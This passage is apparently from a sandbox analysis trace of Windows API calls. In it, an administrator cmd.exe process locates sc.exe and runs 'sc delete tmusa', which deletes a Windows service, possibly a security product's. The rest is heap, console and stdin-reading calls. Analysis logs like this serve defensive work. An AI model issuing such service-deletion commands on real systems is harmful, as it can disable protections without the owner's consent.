(HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.405] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.406] GetProcessHeap () returned 0x4a0000 [0073.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0073.406] GetProcessHeap () returned 0x4a0000 [0073.406] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0073.406] GetProcessHeap () returned 0x4a0000 [0073.406] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0073.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.406] GetLastError () returned 0x2 [0073.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.406] GetLastError () returned 0x2 [0073.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.406] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.407] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.407] GetLastError () returned 0x2 [0073.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0073.407] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0073.407] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.407] GetProcessHeap () returned 0x4a0000 [0073.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.407] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.407] GetProcessHeap () returned 0x4a0000 [0073.407] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0073.407] GetProcessHeap () returned 0x4a0000 [0073.408] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0073.408] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmusa") returned 1 [0073.408] GetProcessHeap () returned 0x4a0000 [0073.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.408] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.408] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.408] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.408] GetProcessHeap () returned 0x4a0000 [0073.408] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.408] GetProcessHeap () returned 0x4a0000 [0073.408] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.408] GetProcessHeap () returned 0x4a0000 [0073.408] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.409] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmusa", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete tmusa", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete tmusa", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x414, dwThreadId=0xb44)) returned 1 [0073.413] CloseHandle (hObject=0x50) returned 1 [0073.413] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.413] GetProcessHeap () returned 0x4a0000 [0073.413] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.413] GetEnvironmentStringsW () returned 0x4c1b10* [0073.413] GetProcessHeap () returned 0x4a0000 [0073.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.413] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.413] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.413] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.413] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.467] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.467] CloseHandle (hObject=0x54) returned 1 [0073.467] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.467] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.467] GetProcessHeap () returned 0x4a0000 [0073.467] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.467] GetEnvironmentStringsW () returned 0x4c1b10* [0073.467] GetProcessHeap () returned 0x4a0000 [0073.467] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.467] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.467] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.467] GetProcessHeap () returned 0x4a0000 [0073.467] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.468] GetEnvironmentStringsW () returned 0x4c1b10* [0073.468] GetProcessHeap () returned 0x4a0000 [0073.468] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0073.468] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.468] GetProcessHeap () returned 0x4a0000 [0073.468] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.468] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.468] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.468] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.468] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.469] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.469] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.469] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.469] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.469] GetConsoleOutputCP () returned 0x1b5 [0073.469] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.469] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.469] GetProcessHeap () returned 0x4a0000 [0073.469] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.469] GetProcessHeap () returned 0x4a0000 [0073.469] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.469] GetProcessHeap () returned 0x4a0000 [0073.469] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.470] GetProcessHeap () returned 0x4a0000 [0073.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.470] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.470] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.470] GetFileType (hFile=0x120) returned 0x3 [0073.470] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.470] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.470] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.470] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.470] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.470] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.471] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.471] GetFileType (hFile=0x120) returned 0x3 [0073.471] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.471] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.471] GetFileType (hFile=0xb8) returned 0x3 [0073.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.471] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.471] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.471] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.471] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.471] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.471] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.471] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.472] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.472] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.472] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.472] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.472] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.472] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.472] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.472] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.472] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="Tmusa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="musa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Psa\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="ra\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="e\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="FService\n4-9.4\"\n\nA\"\n") returned 1 [0073.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="iervice\n4-9.4\"\n\nA\"\n") returned 1 [0073.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="lrvice\n4-9.4\"\n\nA\"\n") returned 1 [0073.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 